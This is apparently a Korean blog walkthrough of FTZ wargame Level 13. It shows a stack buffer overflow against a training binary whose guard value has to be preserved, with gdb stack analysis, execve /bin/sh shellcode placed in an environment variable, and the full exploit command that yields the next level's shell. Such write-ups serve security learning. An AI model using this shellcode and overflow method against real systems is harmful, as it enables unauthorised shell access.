FTZ Level 13

bin3635·2021년 8월 10일
0

hint는 다음과 같다.

이번에는 버퍼 오버플로우를 방지하기 위한 장치가 있는 것을 볼 수 있다.
i가 변조될 경우 버퍼 오버플로우로 인식해 프로그램을 강제로 종료한다.

argc가 1보다 클 때 strcpy 함수가 실행되기 때문에 이번 문제는 실행 인자를 통해 입력을 받는다는 것을 알 수 있다.

소스 코드를 다시 컴파일하고 gdb로 뜯어 보자.

<main+3>에서 스택에 0x418(1048바이트)만큼의 공간을 할당한다.
buf가 1024바이트이기 때문에 나머지 24바이트는 dummy와 i가 차지할 것이다.

<main+71>에서 strcpy 함수를 호출하고 있다. strcpy에 인자로 주어진 것들은 그 위에 있을 것이다.
스택에는 인자가 거꾸로 배열되기 때문에 buf가 [ebp-1048], argv[1]이 [ebp+12] + 0x4라는 것을 알 수 있다. 그러나 argv[1]은 문제 풀이에 별 상관이 없다.

가장 중요한 것은 i가 있는 지점을 찾는 것이다. i의 값이 변조되면 프로그램이 종료되기 때문에 i의 값을 그대로 유지할 수 있어야 하기 때문이다.

<main+79>를 보면 cmp를 통해 [ebp-12]와 0x1234567을 비교하고 있다.
소스 코드의 if문에 해당하기 때문에 i는 [ebp-12]에 위치한다는 것을 알 수 있다.

대략적인 스택의 구조는 다음과 같다.

상당히 공격 명령어가 길어질 듯 하다. 이번에도 RET을 이용해야 하고, i의 값이 0x1234567이어야 하기 때문이다.

이전 문제와 같이 25바이트 쉘코드를 적당한 NOP 값과 함께 SHL이라는 환경 변수에 넣는다.

export SHL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

다음 프로그램을 이용해 환경 변수의 주소를 알아낸다.

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("address: %p\n", getenv("SHL"));
    return 0;
}

5번 정도 실행해 보니 주소가 0xbfffff6e라는 것을 알았다.

공격 명령어는 다음과 같다.

./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x6e\xff\xff\xbf"'`

i의 값을 변조시키지 않기 위해 0x1234567을 i가 차지하는 4바이트 공간에 Little Endian 형식으로 넣었다.

Level 14의 쉘을 획득했다.

0개의 댓글